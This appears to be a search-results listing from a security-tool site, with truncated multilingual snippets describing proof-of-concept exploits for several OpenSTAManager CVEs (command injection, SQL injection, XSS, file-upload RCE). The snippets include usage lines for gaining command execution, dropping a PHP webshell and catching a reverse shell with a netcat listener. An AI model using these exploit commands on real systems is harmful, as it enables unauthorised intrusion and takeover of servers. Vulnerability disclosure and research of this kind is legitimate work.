261 matches found
OpenSTAManager-RCE-Exploit-CVE-2026-38751
OpenSTAManager RCE Exploit CVE-2026-38751 Arbitrary File Upload leading to Remote Code Execution Full-featured proof-of-concept for CVE-2026-38751 , written in Rust. Warning: This tool is intended for authorised security testing and educational purposes only. Use it only on systems you own or hav...
CVE-2025-69212-PoC
CVE-2025-69212 - OpenSTAManager OS Command Injection PoC Usage Install dependencies: root@kitploit: pip install -r requirements.txt Run a single command and print its output: root@kitploit: python3 cve-2025-69212poc.py -u http://target.com -U admin -P 'password' -c 'id' Drop a persistent PHP...
CVE-2026-24417
CVE-2026-24417: OpenSTAManager tiene una inyección SQL ciega basada en tiempo con denegación de servicio amplificada Resumen...
CVE-2026-24416
CVE-2026-24416：OpenSTAManager 产品定价模块存在基于时间的盲 SQL 注入漏洞 概述 字段| 详细信息 ---|--- CVE 编号| CVE-2026-24416 严重性| 高危 安全公告| 查看安全公告 发现者| Lukasz Rybak 受影响产品 devcode-it/openstamanager （版本：= 2.9.8） CWE 分类 CWE-89: 未正确中和 SQL 命令中使用的特殊元素（'SQL 注入'） 详细信息 摘要 OpenSTAManager v2.9.8 的产品定价模块中存在严重的基于时间的盲 SQL...
CVE-2026-24415
CVE-2026-24415: OpenSTAManager afectado por XSS en modificaiva.php a través del parámetro righe Descripción general...
CVE-2026-24419
CVE-2026-24419: OpenSTAManager has a SQL Injection in the Prima Nota module Overview...
CVE-2026-69212
CVE-2025-69212 — OpenSTAManager OS Command Injection RCE Proof-of-concept exploit for CVE-2025-69212 , an OS Command Injection vulnerability in OpenSTAManager = 2.9.8 that allows an authenticated attacker to achieve Remote Code Execution via a maliciously crafted ZIP file upload. Advisory CVE:...
CVE-2026-38751
CVE-2026-38751 — OpenSTAManager Module Upload RCE Authenticated RCE via unvalidated ZIP upload in the module update endpoint. Affected: OpenSTAManager = 2.10.x Requirements pip install requests Usage root@kitploit: Reverse shell Penelope or any listener python3 exploit.py -u http://TARGET -U admi...
CVE-2026-24418
CVE-2026-24418：OpenSTAManager 的 Scadenzario 批量操作模块存在 SQL 注入漏洞 概述 字段| 详细信息 ---|--- CVE ID| CVE-2026-24418 严重性| 高 安全公告| 查看公告 发现者| Lukasz Rybak 受影响产品 devcode-it/openstamanager （版本： !empty$value; 影响： 该函数会过滤掉空值，但会接受任何非空值，包括 SQL 注入载荷。 3. SQL 注入点： /modules/scad...
OpenSTAManager_RCE_Exploit-CVE-2026-38751-
OpenSTAManager RCE 利用工具 CVE-2026-38751 概述 此 Python 脚本利用 OpenSTAManager 2.10 版本中的一个远程代码执行漏洞，编号为 CVE-2026-38751。该利用工具允许经过身份验证的用户上传恶意模块并在目标系统上执行任意命令。 漏洞详情 CVE ID ：CVE-2026-38751 产品 ：OpenSTAManager 版本 ：2.10 类型 ：远程代码执行 RCE 攻击向量 ：基于 Web，需要有效身份验证 利用原理 该利用工具遵循以下步骤： 1. 身份验证 ：使用提供的凭据登录 OpenSTAManager 应用 2...
CVE-2026-29782-OpenSTAManager-RCE
CVE-2026-29782 — OpenSTAManager auth-SQLi → inyección de objetos PHP → RCE PoC para ejecución remota de código enOpenSTAManager ≤ 2.10.1. oauth2.php busca una fila zzoauth2 mediante el parámetro GET state controlado por el atacante y llama a unserialize sobre su columna accesstoken sin una...
CVE-2025-69212-PoC
CVE-2025-69212-PoC https://github.com/advisories/GHSA-25fp-8w8p-mx36 OpenSTAManager versiones Uso root@kitploit: CVE-2025-69212.py -h -u URL -C COOKIE options: -h, --help show this help message and exit -u, --url URL target url, eg http://127.0.0.1 -C, --cookie COOKIE cookie value...
CVE-2026-24418
CVE-2026-24418 OpenSTAManager = 2.9.8 — Error-Based SQL Injection in Scadenzario Bulk Operations Module Overview Field| Details ---|--- CVE ID| CVE-2026-24418 Severity| HIGH 8.8 CWE| CWE-89: SQL Injection Affected Versions| OpenSTAManager = 2.9.8 Vulnerable Parameter| idrecords POST array...
CVE-2025-69212
CVE-2025-69212: OpenSTAManager 在 P7M 文件处理中存在 OS 命令注入 概述...
CVE-2025-69212-PoC
CVE-2025-69212 — OpenSTAManager P7M 命令注入 PoC OpenSTAManager = 2.9.8 — 通过 ZIP 上传中的恶意 .p7m 文件名实现操作系统命令注入 文件： src/Util/XML.php:100 — 未净化的 $file 位于 exec 中 向量： /plugins/importFEZIP/actions.php → ZIP → .p7m 文件名 → exec"openssl smime ... -in "$file" ..." 使用方法 root@kitploit: Listener nc -lvnp 4444 Exploit...
CVE-2025-69212_PoC
CVE-2025-69212: OpenSTAManager Proof of Concept PoC This repository contains a Proof of Concept PoC demonstrating the vulnerability identified as CVE-2025-69212 within OpenSTAManager, an OS Command Injection vulnerability caused by the P7M signed XML file decoding functionality. The versions...
Hack-The-Box-Enigma-Findings-Report
🛡️ Hack The Box - Informe de Hallazgos Enigma 📋 Resumen Este repositorio contiene un informe completo de prueba de penetración para la máquina Enigma de Hack The Box. 🔍 Hallazgos Clave Recurso compartido NFS inseguro que expone documentos de incorporación - Severidad Media Divulgación de...
CVE-2026-38751-OpenSTAManager-Arbitrary-File-Upload-PoC
CVE-2026-38751 – Carga Arbitraria de Archivos en OpenSTAManager PoC Este repositorio contiene un exploit de prueba de concepto PoC para CVE-2026-38751, que afecta a OpenSTAManager ≤ 2.10. La vulnerabilidad permite a un atacante autenticado cargar un módulo malicioso a través de la funcionalidad d...
CVE-2025-69212
CVE-2025-69212 描述 OpenSTAManager 是一款用于技术支持、电子发票和会计的管理软件解决方案。版本 =2.9.8 存在一个经过身份验证的远程代码执行漏洞。攻击者可以通过上传一个特制的包含 .p7m 文件的 .zip 压缩包来利用此漏洞，该 .p7m 文件的文件名可被解释为 shell 命令，从而导致在远程服务器上执行任意命令。 用法 要求 root@kitploit: $ pip install requests 概念验证用法 root@kitploit: $ python3 exploit.py -h --user USER --password PASSWO...